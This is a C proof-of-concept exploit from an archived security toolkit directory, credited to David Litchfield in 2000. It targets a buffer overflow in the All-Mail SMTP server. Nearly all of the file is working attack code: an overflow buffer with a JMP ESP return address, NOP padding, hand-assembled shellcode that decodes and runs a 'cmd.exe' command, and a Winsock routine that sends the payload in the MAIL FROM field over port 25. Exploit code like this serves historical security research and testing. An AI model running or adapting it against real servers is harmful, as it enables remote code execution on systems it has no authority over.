home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / al-mail / allmailexp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  274 lines

  1. #include <windows.h>
  2. #include <winsock.h>
  3. #include <string.h>
  4. #include <stdio.h>
  5.  
  6. struct sockaddr_in sa;
  7. struct hostent *he;
  8. SOCKET sock;
  9. char hostname[256]="";
  10.  
  11. int main(int argc, char *argv[])
  12. {
  13.     int chk=0,count=0;
  14.     char
  15. buffer[500]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPP
  16. PQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ11112222333344445555666677778888999
  17. 90000aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrr
  18. rssssttttuuuuvvvvwwwwxxxxyy";
  19.     
  20.     if(argc == 1)
  21.         {
  22.             printf("\n\tUsage: C:\\>%s host\n\tTests for
  23. All-Mail buffer overflow\n\tDavid Litchfield 10th October
  24. 2000\n\n",argv[0]);
  25.             return 0;
  26.         }
  27.  
  28.     strncpy(hostname,argv[1],250);
  29.  
  30.     // Overwrite the saved return address with 0x77F32836
  31.     // This address contains a JMP ESP instruction that
  32.     // when executed will land us back in our buffer
  33.  
  34.     buffer[242]=0x36;
  35.     buffer[243]=0x28;
  36.     buffer[244]=0xF3;
  37.     buffer[245]=0x77;
  38.  
  39.     count = 246;
  40.  
  41.     // This part of the buffer gets zapped - just put NOPs in
  42.  
  43.     buffer[count++]=0x90;
  44.     buffer[count++]=0x90;
  45.     buffer[count++]=0x90;
  46.     buffer[count++]=0x90;
  47.     buffer[count++]=0x90;
  48.     buffer[count++]=0x90;
  49.     buffer[count++]=0x90;
  50.     buffer[count++]=0x90;
  51.     buffer[count++]=0x90;
  52.  
  53.  
  54.     // This is where our code starts in earnest
  55.  
  56.     // mov esp,ebp
  57.     buffer[count++]=0x8B;
  58.     buffer[count++]=0xEC;
  59.  
  60.     // With our stack perserved and our code safe we continue
  61.  
  62.     // mov ebx,esp
  63.     buffer[count++]=0x8B;
  64.     buffer[count++]=0xDC;
  65.  
  66.     // mov eax,77F1A986h
  67.     buffer[count++]=0xB8;
  68.     buffer[count++]=0x86;
  69.     buffer[count++]=0xA9;
  70.     buffer[count++]=0xF1;
  71.     buffer[count++]=0x77;
  72.  
  73.     // xor esi,esi
  74.     buffer[count++]=0x33;
  75.     buffer[count++]=0xF6;
  76.  
  77.     // push esi
  78.     buffer[count++]=0x56;
  79.  
  80.     // mov ecx, 0xFFFFFFFF
  81.     buffer[count++]=0xB9;
  82.     buffer[count++]=0xFF;
  83.     buffer[count++]=0xFF;
  84.     buffer[count++]=0xFF;
  85.     buffer[count++]=0xFF;
  86.  
  87.     // sub ecx, 0x0D7
  88.     buffer[count++]=0x83;
  89.     buffer[count++]=0xE9;
  90.     buffer[count++]=0xD7;
  91.  
  92.     // loophere:
  93.  
  94.     // sub dword ptr[ebx+0x50],1
  95.     buffer[count++]=0x83;
  96.     buffer[count++]=0x6B;
  97.     buffer[count++]=0x50;
  98.     buffer[count++]=0x01;
  99.  
  100.     // sub ebx,1
  101.     buffer[count++]=0x83;
  102.     buffer[count++]=0xEB;
  103.     buffer[count++]=0x01;
  104.  
  105.     // sub ecx,1
  106.     buffer[count++]=0x83;
  107.     buffer[count++]=0xE9;
  108.     buffer[count++]=0x01;
  109.  
  110.     // test ecx,ecx
  111.     buffer[count++]=0x85;
  112.     buffer[count++]=0xC9;
  113.  
  114.     // jne loophere
  115.     buffer[count++]=0x75;
  116.     buffer[count++]=0xF2;
  117.  
  118.     // add ebx,0x55
  119.     buffer[count++]=0x83;
  120.     buffer[count++]=0xC3;
  121.     buffer[count++]=0x55;
  122.  
  123.     // push ebx    
  124.     buffer[count++]=0x53;
  125.  
  126.     // call eax
  127.     buffer[count++]=0xFF;
  128.     buffer[count++]=0xD0;
  129.  
  130.     // This bunch is our command to run:
  131.     // cmd.exe /c dir > allmail_orun.txt
  132.     // but with 1 added to evey character
  133.     // which is SUBed in the loop above
  134.     buffer[count++]=0x01;
  135.     buffer[count++]=0x01;
  136.     buffer[count++]=0x01;
  137.     buffer[count++]=0x01;
  138.     buffer[count++]=0x64;
  139.     buffer[count++]=0x6e;
  140.     buffer[count++]=0x65;
  141.     buffer[count++]=0x2f;
  142.     buffer[count++]=0x66;
  143.     buffer[count++]=0x79;
  144.     buffer[count++]=0x66;
  145.     buffer[count++]=0x21;
  146.     buffer[count++]=0x30;
  147.     buffer[count++]=0x64;
  148.     buffer[count++]=0x21;
  149.     buffer[count++]=0x65;
  150.     buffer[count++]=0x6a;
  151.     buffer[count++]=0x73;
  152.     buffer[count++]=0x21;
  153.     buffer[count++]=0x3f;
  154.     buffer[count++]=0x21;
  155.     buffer[count++]=0x62;
  156.     buffer[count++]=0x6d;
  157.     buffer[count++]=0x6d;
  158.     buffer[count++]=0x6e;
  159.     buffer[count++]=0x62;
  160.     buffer[count++]=0x6a;
  161.     buffer[count++]=0x6d;
  162.     buffer[count++]=0x60;
  163.     buffer[count++]=0x70;
  164.     buffer[count++]=0x73;
  165.     buffer[count++]=0x76;
  166.     buffer[count++]=0x6f;
  167.     buffer[count++]=0x2f;
  168.     buffer[count++]=0x75;
  169.     buffer[count++]=0x79;
  170.     buffer[count++]=0x75;
  171.     buffer[count++]=0x01;
  172.     buffer[count++]=0x01;
  173.     buffer[count++]=0x01;
  174.     
  175.  
  176.     if(startWSOCK(hostname)!=0)
  177.         {
  178.             printf("Winsock Error!\n");
  179.             return 0;
  180.         }
  181.  
  182.     DoBufferOverrun(buffer);
  183.  
  184.     return 0;
  185.  
  186. }    
  187.  
  188.  
  189.  
  190. int startWSOCK(char *swhost)
  191. {
  192.     int err=0;
  193.     WORD wVersionRequested;
  194.     WSADATA wsaData;
  195.  
  196.     wVersionRequested = MAKEWORD( 2, 0 );
  197.     err = WSAStartup( wVersionRequested, &wsaData );
  198.     if ( err != 0 )
  199.         {
  200.             
  201.             return 2;
  202.         }
  203.     if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion )
  204. != 0 )
  205.         {
  206.                 WSACleanup( );
  207.                 return 3;
  208.         }
  209.  
  210.     if ((he = gethostbyname(swhost)) == NULL)
  211.         {
  212.             printf("Host not found..");
  213.             return 4;
  214.         }
  215.     sa.sin_addr.s_addr=INADDR_ANY;
  216.     sa.sin_family=AF_INET;
  217.     memcpy(&sa.sin_addr,he->h_addr,he->h_length);
  218.  
  219.     return 0;
  220. }    
  221.  
  222. int DoBufferOverrun(char *exploit)
  223. {
  224.     
  225.     int snd, rcv, err, count =0,incount = 0;    
  226.     char resp[200],*loc=NULL;
  227.  
  228.     sa.sin_port=htons(25);
  229.     sock=socket(AF_INET,SOCK_STREAM,0);
  230.     bind(sock,(struct sockaddr *)&sa,sizeof(sa));
  231.     if (sock==INVALID_SOCKET)
  232.         {
  233.             closesocket(sock);
  234.             return 0;
  235.         }
  236.  
  237.     if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
  238.         {
  239.  
  240.             closesocket(sock);
  241.             printf("Failed to connect\n");
  242.             return 0;
  243.         }
  244.     else
  245.         {
  246.             rcv = recv(sock,resp,200,0);
  247.             snd = send(sock,"helo
  248. all-mail.overrun.test\r\n",28,0);
  249.             rcv = recv(sock,resp,200,0);
  250.             loc = strstr(resp,"250 HELO accepted");
  251.             if(loc == NULL)
  252.                 {
  253.                     printf("Server does not appear to be
  254. running All-Mail\nAborting...");
  255.                     closesocket(sock);
  256.                     return 0;
  257.                 }
  258.             else
  259.                 {
  260.                     snd = send(sock,"mail from:
  261. <",12,0);
  262.                     snd =
  263. send(sock,exploit,strlen(exploit),0);
  264.                     snd = send(sock,">\r\n",3,0);
  265.                     printf("Payload
  266. sent...allmail_orun.txt should have been created.\n");
  267.                 }
  268.         }
  269.  
  270. closesocket(sock);
  271. return 0;
  272. }
  273.  
  274.